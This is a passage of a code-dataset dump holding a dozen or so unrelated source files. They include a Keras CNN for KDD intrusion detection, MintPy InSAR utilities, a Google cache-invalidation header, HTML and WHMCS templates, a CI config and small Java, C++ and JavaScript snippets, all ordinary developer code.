TypeAdapter<T> typeAdapter = this.delegate;\n if (typeAdapter != null) {\n return typeAdapter.read(in);\n }\n throw new IllegalStateException();\n }\n\n @Override // com.huawei.gson.TypeAdapter\n public void write(JsonWriter out, T value) throws IOException {\n TypeAdapter<T> typeAdapter = this.delegate;\n if (typeAdapter != null) {\n typeAdapter.write(out, value);\n return;\n }\n throw new IllegalStateException();\n }\n }\n\n public String toString() {\n return \"{serializeNulls:\" + this.serializeNulls + \",factories:\" + this.factories + \",instanceCreators:\" + this.constructorConstructor + \"}\";\n }\n}\n"} {"text": "from __future__ import print_function\nimport numpy as np\nnp.random.seed(1337) # for reproducibility\n\nfrom keras.preprocessing import sequence\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Dropout, Activation, Lambda\nfrom keras.layers import Embedding\nfrom keras.layers import Convolution1D,MaxPooling1D, Flatten\nfrom keras.datasets import imdb\nfrom keras import backend as K\nfrom sklearn.cross_validation import train_test_split\nimport pandas as pd\nfrom keras.utils.np_utils import to_categorical\n\nfrom sklearn.preprocessing import Normalizer\nfrom keras.models import Sequential\nfrom keras.layers import Convolution1D, Dense, Dropout, Flatten, MaxPooling1D\nfrom keras.utils import np_utils\nimport numpy as np\nimport h5py\nfrom keras import callbacks\nfrom keras.layers import LSTM, GRU, SimpleRNN\nfrom keras.callbacks import CSVLogger\nfrom keras.callbacks import ModelCheckpoint, EarlyStopping, ReduceLROnPlateau, CSVLogger\n\n\ntraindata = pd.read_csv('kdd/kddtrain.csv', header=None)\ntestdata = pd.read_csv('kdd/kddtest.csv', header=None)\n\n\nX = traindata.iloc[:,1:42]\nY = traindata.iloc[:,0]\nC = testdata.iloc[:,0]\nT = testdata.iloc[:,1:42]\n\nscaler = Normalizer().fit(X)\ntrainX = scaler.transform(X)\n\nscaler = Normalizer().fit(T)\ntestT = scaler.transform(T)\n\ny_train = np.array(Y)\ny_test = np.array(C)\n\n\n# reshape input to be [samples, time steps, features]\nX_train = np.reshape(trainX, (trainX.shape[0],trainX.shape[1],1))\nX_test = np.reshape(testT, (testT.shape[0],testT.shape[1],1))\n\n\n\n\nlstm_output_size = 128\n\ncnn = Sequential()\ncnn.add(Convolution1D(64, 3, border_mode=\"same\",activation=\"relu\",input_shape=(41, 1)))\ncnn.add(Convolution1D(64, 3, border_mode=\"same\", activation=\"relu\"))\ncnn.add(MaxPooling1D(pool_length=(2)))\ncnn.add(Convolution1D(128, 3, border_mode=\"same\", activation=\"relu\"))\ncnn.add(Convolution1D(128, 3, border_mode=\"same\", activation=\"relu\"))\ncnn.add(MaxPooling1D(pool_length=(2)))\ncnn.add(Flatten())\ncnn.add(Dense(128, activation=\"relu\"))\ncnn.add(Dropout(0.5))\ncnn.add(Dense(1, activation=\"sigmoid\"))\n\n# define optimizer and objective, compile cnn\n\ncnn.compile(loss=\"binary_crossentropy\", optimizer=\"adam\",metrics=['accuracy'])\n\n# train\ncheckpointer = callbacks.ModelCheckpoint(filepath=\"results/cnn3results/checkpoint-{epoch:02d}.hdf5\", verbose=1, save_best_only=True, monitor='val_acc',mode='max')\ncsv_logger = CSVLogger('results/cnn3results/cnntrainanalysis3.csv',separator=',', append=False)\ncnn.fit(X_train, y_train, nb_epoch=1000, show_accuracy=True,validation_data=(X_test, y_test),callbacks=[checkpointer,csv_logger])\ncnn.save(\"results/cnn3results/cnn_model.hdf5\")\n\n"} {"text": "// Copyright 2012 Google Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n// Object to track desired client registrations. This class belongs to caller\n// (e.g., InvalidationClientImpl) and is not thread-safe - the caller has to use\n// this class in a thread-safe manner.\n\n#ifndef GOOGLE_CACHEINVALIDATION_IMPL_REGISTRATION_MANAGER_H_\n#define GOOGLE_CACHEINVALIDATION_IMPL_REGISTRATION_MANAGER_H_\n\n#include <map>\n#include <set>\n\n#include \"google/cacheinvalidation/include/system-resources.h\"\n#include \"google/cacheinvalidation/deps/digest-function.h\"\n#include \"google/cacheinvalidation/deps/scoped_ptr.h\"\n#include \"google/cacheinvalidation/impl/client-protocol-namespace-fix.h\"\n#include \"google/cacheinvalidation/impl/digest-store.h\"\n#include \"google/cacheinvalidation/impl/proto-helpers.h\"\n#include \"google/cacheinvalidation/impl/statistics.h\"\n\nnamespace invalidation {\n\nusing INVALIDATION_STL_NAMESPACE::map;\nusing INVALIDATION_STL_NAMESPACE::set;\n\nclass RegistrationManager {\n public:\n RegistrationManager(Logger* logger, Statistics* statistics,\n DigestFunction* digest_function);\n\n /* Sets the digest store to be digest_store for testing purposes.\n *\n * REQUIRES: This method is called before the Ticl has done any operations on\n * this object.\n */\n void SetDigestStoreForTest(DigestStore<ObjectIdP>* digest_store) {\n desired_registrations_.reset(digest_store);\n GetClientSummary(&last_known_server_summary_);\n }\n\n void GetRegisteredObjectsForTest(vector<ObjectIdP>* registrations) {\n desired_registrations_->GetElements(kEmptyPrefix, 0, registrations);\n }\n\n /* (Un)registers for object_ids. When the function returns, oids_to_send will\n * have been modified to contain those object ids for which registration\n * messages must be sent to the server.\n */\n void PerformOperations(const vector<ObjectIdP>& object_ids,\n RegistrationP::OpType reg_op_type,\n vector<ObjectIdP>* oids_to_send);\n\n /* Initializes a registration subtree for registrations where the digest of\n * the object id begins with the prefix digest_prefix of prefix_len bits. This\n * method may also return objects whose digest prefix does not match\n * digest_prefix.\n */\n void GetRegistrations(const string& digest_prefix, int prefix_len,\n RegistrationSubtree* builder);\n\n /*\n * Handles registration operation statuses from the server. Modifies |result|\n * to contain one boolean per registration status, that indicates whether the\n * registration operation was both successful and agreed with the desired\n * client state (i.e., for each registration status,\n * (status.optype == register) ==\n * desiredRegistrations.contains(status.objectid)).\n * <p>\n * REQUIRES: the caller subsequently make an informRegistrationStatus or\n * informRegistrationFailure upcall on the listener for each registration in\n * {@code registrationStatuses}.\n */\n void HandleRegistrationStatus(\n const RepeatedPtrField<RegistrationStatus>& registration_statuses,\n vector<bool>* result);\n\n /*\n * Removes all desired registrations and pending operations. Returns all\n * object ids that were affected.\n * <p>\n * REQUIRES: the caller issue a permanent failure upcall to the listener for\n * all returned object ids.\n */\n void RemoveRegisteredObjects(vector<ObjectIdP>* result) {\n // Add the formerly desired- and pending- registrations to result.\n desired_registrations_->RemoveAll(result);\n map<ObjectIdP, RegistrationP::OpType, ProtoCompareLess>::iterator\n pending_iter = pending_operations_.begin();\n for (; pending_iter != pending_operations_.end(); pending_iter++) {\n result->push_back(pending_iter->first);\n }\n pending_operations_.clear();\n\n // De-dup result.\n set<ObjectIdP, ProtoCompareLess> unique_oids(result->begin(),\n result->end());\n result->assign(unique_oids.begin(), unique_oids.end());\n }\n\n //\n // Digest-related methods\n //\n\n /* Modifies client_summary to contain the summary of the desired\n * registrations (by the client). */\n void GetClientSummary(RegistrationSummary* client_summary);\n\n /* Modifies server_summary to contain the last known summary from the server.\n * If none, modifies server_summary to contain the summary corresponding\n * to 0 registrations. */\n void GetServerSummary(RegistrationSummary* server_summary) {\n server_summary->CopyFrom(last_known_server_summary_);\n }\n\n /* Informs the manager of a new registration state summary from the server.\n * Modifies upcalls to contain zero or more RegistrationP. For each added\n * RegistrationP, the caller should make an inform-registration-status upcall\n * on the listener.\n */\n void InformServerRegistrationSummary(const RegistrationSummary& reg_summary,\n vector<RegistrationP>* upcalls) {\n last_known_server_summary_.CopyFrom(reg_summary);\n if (IsStateInSyncWithServer()) {\n // If we are now in sync with the server, then the caller should make\n // inform-reg-status upcalls for all operations that we had pending, if\n // any; they are also no longer pending.\n map<ObjectIdP, RegistrationP::OpType, ProtoCompareLess>::iterator\n pending_iter = pending_operations_.begin();\n for (; pending_iter != pending_operations_.end(); pending_iter++) {\n RegistrationP reg_p;\n ProtoHelpers::InitRegistrationP(pending_iter->first,\n pending_iter->second, &reg_p);\n upcalls->push_back(reg_p);\n }\n pending_operations_.clear();\n }\n }\n\n /* Returns whether the local registration state and server state agree, based\n * on the last received server summary (from InformServerRegistrationSummary).\n */\n bool IsStateInSyncWithServer() {\n RegistrationSummary summary;\n GetClientSummary(&summary);\n return (last_known_server_summary_.num_registrations() ==\n summary.num_registrations()) &&\n (last_known_server_summary_.registration_digest() ==\n summary.registration_digest());\n }\n\n string ToString();\n\n // Empty hash prefix.\n static const char* kEmptyPrefix;\n\n private:\n /* The set of regisrations that the application has requested for. */\n scoped_ptr<DigestStore<ObjectIdP> > desired_registrations_;\n\n /* Statistics objects to track number of sent messages, etc. */\n Statistics* statistics_;\n\n /* Latest known server registration state summary. */\n RegistrationSummary last_known_server_summary_;\n\n /*\n * Map of object ids and operation types for which we have not yet issued any\n * registration-status upcall to the listener. We need this so that we can\n * synthesize success upcalls if registration sync, rather than a server\n * message, communicates to us that we have a successful (un)registration.\n * <p>\n * This is a map from object id to type, rather than a set of RegistrationP,\n * because a set of RegistrationP would assume that we always get a response\n * for every operation we issue, which isn't necessarily true (i.e., the\n * server might send back an unregistration status in response to a\n * registration request).\n */\n map<ObjectIdP, RegistrationP::OpType, ProtoCompareLess>\n pending_operations_;\n\n Logger* logger_;\n};\n\n} // namespace invalidation\n\n#endif // GOOGLE_CACHEINVALIDATION_IMPL_REGISTRATION_MANAGER_H_\n"} {"text": "/*\n * SonarLint for IntelliJ IDEA\n * Copyright (C) 2015-2020 SonarSource\n * sonarlint@sonarsource.com\n *\n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 3 of the License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02\n */\npackage org.sonarlint.intellij.editor;\n\nimport java.util.LinkedList;\nimport java.util.List;\nimport org.sonarsource.sonarlint.core.client.api.common.analysis.Issue;\nimport org.sonarsource.sonarlint.core.client.api.common.analysis.IssueListener;\n\npublic class AccumulatorIssueListener implements IssueListener {\n private final List<Issue> issues = new LinkedList<>();\n\n public List<Issue> getIssues() {\n return issues;\n }\n\n @Override\n public void handle(Issue issue) {\n issues.add(issue);\n }\n}\n"} {"text": "############################################################\n# Program is part of MintPy #\n# Copyright (c) 2013, Zhang Yunjun, Heresh Fattahi #\n# Author: Zhang Yunjun, Heresh Fattahi, 2013 #\n############################################################\n# Recommend import:\n# from mintpy.utils import utils as ut\n\n\nimport os\nimport glob\nimport errno\nimport numpy as np\nfrom scipy.ndimage import map_coordinates\n\nfrom mintpy.objects import (\n geometryDatasetNames,\n geometry,\n ifgramStack,\n timeseries,\n)\n\nfrom mintpy.utils import ptime, readfile\nfrom mintpy.utils.utils0 import *\nfrom mintpy.utils.utils1 import *\nfrom mintpy.objects.coord import coordinate\n\n\n#################################################################################\ndef check_loaded_dataset(work_dir='./', print_msg=True):\n \"\"\"Check the result of loading data for the following two rules:\n 1. file existance\n 2. file attribute readability\n\n Parameters: work_dir : string, MintPy working directory\n print_msg : bool, print out message\n Returns: True, if all required files and dataset exist; otherwise, ERROR\n If True, PROCESS, SLC folder could be removed.\n stack_file :\n geom_file :\n lookup_file :\n Example: work_dir = os.path.expandvars('./FernandinaSenDT128/mintpy')\n ut.check_loaded_dataset(work_dir)\n \"\"\"\n load_complete = True\n\n if not work_dir:\n work_dir = os.getcwd()\n work_dir = os.path.abspath(work_dir)\n\n # 1. interferograms stack file: unwrapPhase, coherence\n flist = [os.path.join(work_dir, 'inputs/ifgramStack.h5')]\n stack_file = is_file_exist(flist, abspath=True)\n if stack_file is not None:\n obj = ifgramStack(stack_file)\n obj.open(print_msg=False)\n for dname in ['unwrapPhase', 'coherence']:\n if dname not in obj.datasetNames and 'azimuthOffset' not in obj.datasetNames:\n raise ValueError('required dataset \"{}\" is missing in file {}'.format(dname, stack_file))\n else:\n raise FileNotFoundError(errno.ENOENT, os.strerror(errno.ENOENT), './inputs/ifgramStack.h5')\n\n atr = readfile.read_attribute(stack_file)\n\n # 2. geom_file: height\n if 'X_FIRST' in atr.keys():\n flist = [os.path.join(work_dir, 'inputs/geometryGeo.h5')]\n else:\n flist = [os.path.join(work_dir, 'inputs/geometryRadar.h5')]\n geom_file = is_file_exist(flist, abspath=True)\n if geom_file is not None:\n obj = geometry(geom_file)\n obj.open(print_msg=False)\n dname = geometryDatasetNames[0]\n if dname not in obj.datasetNames:\n raise ValueError('required dataset \"{}\" is missing in file {}'.format(dname, geom_file))\n else:\n raise FileNotFoundError(errno.ENOENT, os.strerror(errno.ENOENT), './inputs/geometry*.h5')\n\n # 3. lookup_file: latitude,longitude or rangeCoord,azimuthCoord\n # could be different than geometry file in case of roipac and gamma\n flist = [os.path.join(work_dir, 'inputs/geometry*.h5')]\n lookup_file = get_lookup_file(flist, abspath=True, print_msg=print_msg)\n if 'X_FIRST' not in atr.keys():\n if lookup_file is not None:\n obj = geometry(lookup_file)\n obj.open(print_msg=False)\n\n if atr['PROCESSOR'] in ['isce', 'doris']:\n dnames = geometryDatasetNames[1:3]\n elif atr['PROCESSOR'] in ['gamma', 'roipac']:\n dnames = geometryDatasetNames[3:5]\n else:\n raise AttributeError('InSAR processor: {}'.format(atr['PROCESSOR']))\n\n for dname in dnames:\n if dname not in obj.datasetNames:\n load_complete = False\n raise Exception('required dataset \"{}\" is missing in file {}'.format(dname, lookup_file))\n else:\n raise FileNotFoundError(errno.ENOENT, os.strerror(errno.ENOENT), './inputs/geometry*.h5')\n else:\n print(\"Input data seems to be geocoded. Lookup file not needed.\")\n\n # print message\n if print_msg:\n print(('Loaded dataset are processed by '\n 'InSAR software: {}'.format(atr['PROCESSOR'])))\n if 'X_FIRST' in atr.keys():\n print('Loaded dataset is in GEO coordinates')\n else:\n print('Loaded dataset is in RADAR coordinates')\n print('Interferograms Stack: {}'.format(stack_file))\n print('Geometry File : {}'.format(geom_file))\n print('Lookup Table File : {}'.format(lookup_file))\n if load_complete:\n print('-'*50)\n print('All data needed found/loaded/copied. Processed 2-pass InSAR data can be removed.')\n print('-'*50)\n return load_complete, stack_file, geom_file, lookup_file\n\n\n#################################################################################\ndef read_timeseries_lalo(lat, lon, ts_file, lookup_file=None, ref_lat=None, ref_lon=None,\n win_size=1, unit='m', print_msg=True):\n \"\"\" Read time-series of one pixel with input lat/lon\n Parameters: lat/lon : float, latitude/longitude\n ts_file : string, filename of time-series HDF5 file\n lookup_file : string, filename of lookup table file\n ref_lat/lon : float, latitude/longitude of reference pixel\n Returns: dates : 1D np.array of datetime.datetime objects, i.e. datetime.datetime(2010, 10, 20, 0, 0)\n dis : 1D np.array of float in meter\n \"\"\"\n atr = readfile.read_attribute(ts_file)\n coord = coordinate(atr, lookup_file=lookup_file)\n y, x = coord.geo2radar(lat, lon)[0:2]\n if print_msg:\n print('input lat / lon: {} / {}'.format(lat, lon))\n\n # reference pixel\n ref_y, ref_x = None, None\n if ref_lat is not None:\n ref_y, ref_x = coord.geo2radar(ref_lat, ref_lon)[0:2]\n\n # call read_timeseries_yx()\n dates, dis = read_timeseries_yx(y, x, ts_file,\n ref_y=ref_y,\n ref_x=ref_x,\n win_size=win_size,\n unit=unit,\n print_msg=False)\n return dates, dis\n\n\n#################################################################################\ndef read_timeseries_yx(y, x, ts_file, ref_y=None, ref_x=None,\n win_size=1, unit='m', print_msg=True):\n \"\"\" Read time-series of one pixel with input y/x\n Parameters: y/x : int, row/column number of interest\n ts_file : string, filename of time-series HDF5 file\n ref_y/x : int, row/column number of reference pixel\n Returns: dates : 1D np.array of datetime.datetime objects, i.e. datetime.datetime(2010, 10, 20, 0, 0)\n dis : 1D np.array of float in meter\n \"\"\"\n # read date\n obj = timeseries(ts_file)\n obj.open(print_msg=False)\n dates = ptime.date_list2vector(obj.dateList)[0]\n dates = np.array(dates)\n\n # read displacement\n if print_msg:\n print('input y / x: {} / {}'.format(y, x))\n box = (x, y, x+1, y+1)\n dis = readfile.read(ts_file, box=box)[0]\n if win_size != 1:\n buf = int(win_size / 2)\n box_win = (x-buf, y-buf, x+buf+1, y+buf+1)\n dis_win = readfile.read(ts_file, box=box_win)[0]\n dis = np.nanmean(dis_win.reshape((obj.numDate, -1)), axis=1)\n\n # reference pixel\n if ref_y is not None:\n ref_box = (ref_x, ref_y, ref_x+1, ref_y+1)\n dis -= readfile.read(ts_file, box=ref_box)[0]\n\n #start at zero\n dis -= dis[0]\n\n # custom output unit\n if unit == 'm':\n pass\n elif unit == 'cm':\n dis *= 100.\n elif unit == 'mm':\n dis *= 1000.\n else:\n raise ValueError('un-supported output unit: {}'.format(unit))\n\n return dates, dis\n\n\n#####################################################################\ndef transect_yx(z, atr, start_yx, end_yx, interpolation='nearest'):\n \"\"\"Extract 2D matrix (z) value along the line [x0,y0;x1,y1]\n Ref link: http://stackoverflow.com/questions/7878398/how-to-e\n xtract-an-arbitrary-line-of-values-from-a-numpy-array\n\n Parameters: z : (np.array) 2D data matrix\n atr : (dict) attribute\n start_yx : (list) y,x coordinate of start point\n end_yx : (list) y,x coordinate of end point\n interpolation : str, sampling/interpolation method, including:\n 'nearest' - nearest neighbour, by default\n 'cubic' - cubic interpolation\n 'bilinear' - bilinear interpolation\n\n Returns: transect: (dict) containing 1D matrix:\n 'X' - 1D np.array for X/column coordinates in float32\n 'Y' - 1D np.array for Y/row. coordinates in float32\n 'value' - 1D np.array for z value in float32\n 'distance' - 1D np.array for distance in float32\n\n Example: transect = transect_yx(dem, demRsc, [10,15], [100,115])\n \"\"\"\n [y0, x0] = start_yx\n [y1, x1] = end_yx\n\n # check\n length, width = int(atr['LENGTH']), int(atr['WIDTH'])\n if not all(0<= i < width and 0<= j < length for i,j in zip([x0,x1], [y0,y1])):\n msg = 'input start/end point is out of data coverage'\n msg += '\\nstart_yx: {}'.format(start_yx)\n msg += '\\nend_yx:{}'.format(end_yx)\n msg += '\\ndata size: ({}, {})'.format(length, width)\n raise ValueError(msg)\n\n # Determine points coordinates along the line\n num_pts = int(np.hypot(x1-x0, y1-y0))\n ys = np.linspace(y0, y1, num_pts, dtype=np.float32)\n xs = np.linspace(x0, x1, num_pts, dtype=np.float32)\n\n # Extract z value along the line\n if interpolation.lower() == 'nearest':\n z_line = z[np.rint(ys).astype(np.int), np.rint(xs).astype(np.int)]\n elif interpolation.lower() == 'cubic':\n z_line = map_coordinates(z, np.vstack((ys, xs)), order=3)\n elif interpolation.lower() == 'bilinear':\n z_line = map_coordinates(z, np.vstack((ys, xs)), order=2)\n else:\n print('Un-recognized interpolation method: '+interpolation)\n print('Continue with nearest ...')\n z_line = z[np.rint(ys).astype(np.int), np.rint(xs).astype(np.int)] # nearest neighbour\n\n # Calculate Distance along the line\n earth_radius = 6.3781e6 # in meter\n if 'Y_FIRST' in atr.keys():\n [lat0, lat1] = coordinate(atr).yx2lalo([y0, y1], coord_type='y')\n lat_c = (lat0 + lat1) / 2.\n x_step = float(atr['X_STEP']) * np.pi/180.0 * earth_radius * np.cos(lat_c * np.pi/180)\n y_step = float(atr['Y_STEP']) * np.pi/180.0 * earth_radius\n else:\n x_step = range_ground_resolution(atr)\n y_step = azimuth_ground_resolution(atr)\n dist_line = np.hypot((xs - x0) * x_step,\n (ys - y0) * y_step)\n\n # remove points in masked out areas\n mask = ~np.isnan(z_line)\n mask *= z_line != 0.0\n\n # prepare output\n transect = {}\n transect['Y'] = ys[mask]\n transect['X'] = xs[mask]\n transect['value'] = z_line[mask]\n transect['distance'] = dist_line[mask]\n return transect\n\n\ndef transect_lalo(z, atr, start_lalo, end_lalo, interpolation='nearest'):\n \"\"\"Extract 2D matrix (z) value along the line [start_lalo, end_lalo]\"\"\"\n coord = coordinate(atr)\n [y0, y1] = coord.lalo2yx([start_lalo[0], end_lalo[0]], coord_type='lat')\n [x0, x1] = coord.lalo2yx([start_lalo[1], end_lalo[1]], coord_type='lon')\n transect = transect_yx(z, atr, [y0, x0], [y1, x1], interpolation)\n return transect\n\n\ndef transect_lines(z, atr, lines):\n \"\"\"Extract 2D matrix (z) value along multiple lines\n Parameters: z : 2D np.ndarray in size of (l,w)\n atr : dict, metadata of matrix z\n lines : list of lines with each line is defined as:\n [[lat0, lon0], [lat1, lon1]] for geo coordinates\n [[y0, x0], [y1, x1]] for radar coordinates\n Returns: transect : (dict) containing 1D matrix:\n 'X' - 1D np.array for X/column coordinates in float32\n 'Y' - 1D np.array for Y/row. coordinates in float32\n 'value' - 1D np.array for z value in float32\n 'distance' - 1D np.array for distance in float32\n \"\"\"\n transect = {}\n start_distance = 0\n transect['start_distance'] = []\n\n for i in range(len(lines)):\n # read segment data\n start_lalo, end_lalo = lines[i][0], lines[i][1]\n if 'Y_FIRST' in atr.keys():\n seg = transect_lalo(z, atr, start_lalo, end_lalo)\n else:\n seg = transect_yx(z, atr, start_lalo, end_lalo)\n seg['distance'] += start_distance\n\n # connect each segment\n if i == 0:\n # first segment\n for key, value in seg.items():\n transect[key] = np.array(value, dtype=np.float32)\n else:\n for key, value in seg.items():\n transect[key] = np.concatenate((transect[key], value))\n\n # update start_distance for the next segment\n transect['start_distance'].append(start_distance)\n start_distance = transect['distance'][-1]\n transect['start_distance'] = np.array(transect['start_distance'], dtype=np.float32)\n return transect\n\n\n\n#################################################################################\n\n"} {"text": "export JAVA_HOME=/Program Files (x86)/Java/jdk1.7.0_21\ncd /adt32/eclipse/workspace/AppTCPClientDemo1\njarsigner -verify -verbose -certs /adt32/eclipse/workspace/AppTCPClientDemo1/bin/AppTCPClientDemo1-release.apk\n"} {"text": "<!DOCTYPE html>\n<!-- paulirish.com/2008/conditional-stylesheets-vs-css-hacks-answer-neither/ -->\n<!-- Consider specifying the language of your content by adding the `lang` attribute to <html> -->\n<!--[if IE 7]> <html class=\"no-js ie7 oldie\"> <![endif]-->\n<!--[if IE 8]> <html class=\"no-js ie8 oldie\"> <![endif]-->\n<!--[if gt IE 8]><!--> <html class=\"no-js\"> <!--<![endif]-->\n<head>\n\t<meta charset=\"utf-8\">\n\t<meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge,chrome=1\">\n\t<meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0\">\n\n\t<title>Pondasee - Front-end Starter Kit</title>\n\t\n\t<link rel=\"shortcut icon\" href=\"\">\n\t\n\t<link rel=\"stylesheet\" href=\"style.css\">\n\t\n\t<script src=\"js/vendor/modernizr-2.6.2.min.js\"></script>\n\n</head>\n<body>\n\t\n<!--[if lt IE 7]>\n <p class=\"chromeframe\">You are using an <strong>outdated</strong> browser. Please <a href=\"http://browsehappy.com/\">upgrade your browser</a> or <a href=\"http://www.google.com/chromeframe/?redirect=true\">activate Google Chrome Frame</a> to improve your experience.</p>\n<![endif]-->\n\t\n<div id=\"page\" class=\"hfeed container\">\n\t\n\t<header id=\"masthead\" class=\"site-header\" role=\"banner\">\n\t\n\t</header><!-- #masthead .site-header -->\n\t\n\t<nav id=\"site-navigation\" class=\"main-navigation\" role=\"navigation\">\n\t\n\t</nav><!-- #site-navigation .main-navigation -->\n\t\n\t<div id=\"main\">\n\t\t<div id=\"content\" class=\"site-content\" role=\"main\">\n\t\t\n\t\t</div><!-- #content .site-content -->\n\t\t\n\t\t\n\t\t<aside id=\"sidebar\" class=\"widget-area\" role=\"complementary\">\n\t\t\n\t\t</aside><!-- #sidebar .widget-area -->\n\t</div><!-- #main -->\n\t\n\t<footer id=\"colophon\" class=\"site-footer\" role=\"contentinfo\">\n\t\t\n\t</footer><!-- #colophon .site-footer -->\n\n\t\n</div><!-- #page .hfeed .container -->\n\n\t<!-- Grab Google CDN's jQuery, with a protocol relative URL; fall back to local if offline -->\n <script src=\"//ajax.googleapis.com/ajax/libs/jquery/1.8.2/jquery.min.js\"></script>\n <script>window.jQuery || document.write('<script src=\"js/vendor/jquery-1.8.2.min.js\"><\\/script>')</script>\n\t\n\t<!-- compressed and minified scripts -->\n\t<script src=\"js/plugins.js\"></script>\n\t<script src=\"js/methods.js\"></script>\n\t\n\t<!-- required scripts -->\n\t<!--[if (gte IE 6)&(lte IE 8)]>\n\t\t<script src=\"js/vendor/selectivizr-min.js\"></script>\n\t<![endif]-->\n\t\n</body>\n</html>"} {"text": "\"\"\"transform implements a few common functions that are often used in multiple\napplications.\n\"\"\"\n\nimport numpy as np\nfrom skimage import transform\n\ndef scale_and_extract(image, height, width=None):\n \"\"\"This function scales the image and then extracts the center part of the\n image with the given height and width.\n\n Input:\n image: an ndarray or a skimage Image.\n height: the target height of the image.\n width: the target width of the image. If not provided, we will use\n width = height.\n output:\n image_out: an ndarray of (height * width), and of dtype float64.\n \"\"\"\n if not width:\n width = height\n ratio = max(height / float(image.shape[0]), width / float(image.shape[1]))\n # we add 0.5 to the converted result to avoid numerical problems.\n image_reshape = transform.resize(\n image, (int(image.shape[0] * ratio + 0.5), int(image.shape[1] * ratio + 0.5)))\n h_offset = (image_reshape.shape[0] - height) / 2\n w_offset = (image_reshape.shape[1] - width) / 2\n return image_reshape[h_offset:h_offset+height, w_offset:w_offset+width]\n\n\ndef as_rgb(image):\n \"\"\"Converts an image that could possibly be a grayscale or RGBA image to\n RGB.\n \"\"\"\n if image.ndim == 2:\n return np.tile(image[:, :, np.newaxis], (1, 1, 3))\n elif image.shape[2] == 4:\n # An RGBA image. We will only use the first 3 channels.\n return image[:, :, :3]\n else:\n return image\n"} {"text": "name: CI\n\non:\n push:\n branches:\n - master\n pull_request:\n branches:\n - '*'\n\njobs:\n build:\n name: MacOS\n runs-on: macOS-latest\n steps:\n - uses: actions/checkout@v1\n - name: Run tests\n run: make test-swift\n\n ubuntu:\n name: Ubuntu\n runs-on: ubuntu-latest\n steps:\n - uses: actions/checkout@v1\n - name: Run tests\n run: make test-linux\n"} {"text": "<span class=\"product-name\">{$producttotals.productinfo.name}</span>\n<span class=\"product-group\">{$producttotals.productinfo.groupname}</span>\n\n<div class=\"clearfix\">\n <span class=\"pull-left\">{$producttotals.productinfo.name}</span>\n <span class=\"pull-right\">{$producttotals.pricing.baseprice}</span>\n</div>\n\n{foreach $producttotals.configoptions as $configoption}\n {if $configoption}\n <div class=\"clearfix\">\n <span class=\"pull-left\">&nbsp;&raquo; {$configoption.name}: {$configoption.optionname}</span>\n <span class=\"pull-right\">{$configoption.recurring}{if $configoption.setup} + {$configoption.setup} {$LANG.ordersetupfee}{/if}</span>\n </div>\n {/if}\n{/foreach}\n\n{foreach $producttotals.addons as $addon}\n <div class=\"clearfix\">\n <span class=\"pull-left\">+ {$addon.name}</span>\n <span class=\"pull-right\">{$addon.recurring}</span>\n </div>\n{/foreach}\n\n{if $producttotals.pricing.setup || $producttotals.pricing.recurring || $producttotals.pricing.addons}\n <div class=\"summary-totals\">\n {if $producttotals.pricing.setup}\n <div class=\"clearfix\">\n <span class=\"pull-left\">{$LANG.cartsetupfees}:</span>\n <span class=\"pull-right\">{$producttotals.pricing.setup}</span>\n </div>\n {/if}\n {foreach from=$producttotals.pricing.recurringexcltax key=cycle item=recurring}\n <div class=\"clearfix\">\n <span class=\"pull-left\">{$cycle}:</span>\n <span class=\"pull-right\">{$recurring}</span>\n </div>\n {/foreach}\n {if $producttotals.pricing.tax1}\n <div class=\"clearfix\">\n <span class=\"pull-left\">{$carttotals.taxname} @ {$carttotals.taxrate}%:</span>\n <span class=\"pull-right\">{$producttotals.pricing.tax1}</span>\n </div>\n {/if}\n {if $producttotals.pricing.tax2}\n <div class=\"clearfix\">\n <span class=\"pull-left\">{$carttotals.taxname2} @ {$carttotals.taxrate2}%:</span>\n <span class=\"pull-right\">{$producttotals.pricing.tax2}</span>\n </div>\n {/if}\n </div>\n{/if}\n\n<div class=\"total-due-today\">\n <span class=\"amt\">{$producttotals.pricing.totaltoday}</span>\n <span>{$LANG.ordertotalduetoday}</span>\n</div>\n"} {"text": "package com.java110.entity;\n\n/**\n * Hello world!\n *\n */\npublic class App \n{\n public static void main( String[] args )\n {\n System.out.println( \"Hello World!\" );\n }\n}\n"} {"text": "/**\n * Detect Electron renderer process, which is node, but we should\n * treat as a browser.\n */\n\nif (typeof process !== 'undefined' && process.type === 'renderer') {\n module.exports = require('./browser.js');\n} else {\n module.exports = require('./node.js');\n}\n"} {"text": "#include<iostream>\nusing namespace std;\n\nbool linearSearch(int *a,int n,int val)\n{\n\tfor(int i=0;i<n;i++)\n\t{\n\t\tif(a[i]==val)\n\t\t\treturn true;\n\t}\n\treturn false;\n\n}\nint main()\n{\n\tint n; \n\tcin>>n; //size of array\n\tint *a=new int[n]; \n\n\tfor(int i=0;i<n;i++)\n \t{\n cin>>a[i];\n\t } \n\n\tint val;\n\tcin>>val; //value to be searched\n\n\tint l=linearSearch(a,n,val);\n\n\tif(l) //true\n\t\tcout<<\"Yes\";\n\telse \n\t\tcout<<\"No\"; \n\n\n}\n"} {"text": "/*\nCopyright Rene Rivera 2012-2015\nDistributed under the Boost Software License, Version 1.0.\n(See accompanying file LICENSE_1_0.txt or copy at\nhttp://www.boost.org/LICENSE_1_0.txt)\n*/\n\n#ifndef BOOST_PREDEF_OS_BSD_BSDI_H\n#define BOOST_PREDEF_OS_BSD_BSDI_H\n\n#include <boost/predef/os/bsd.h>\n\n/*`\n[heading 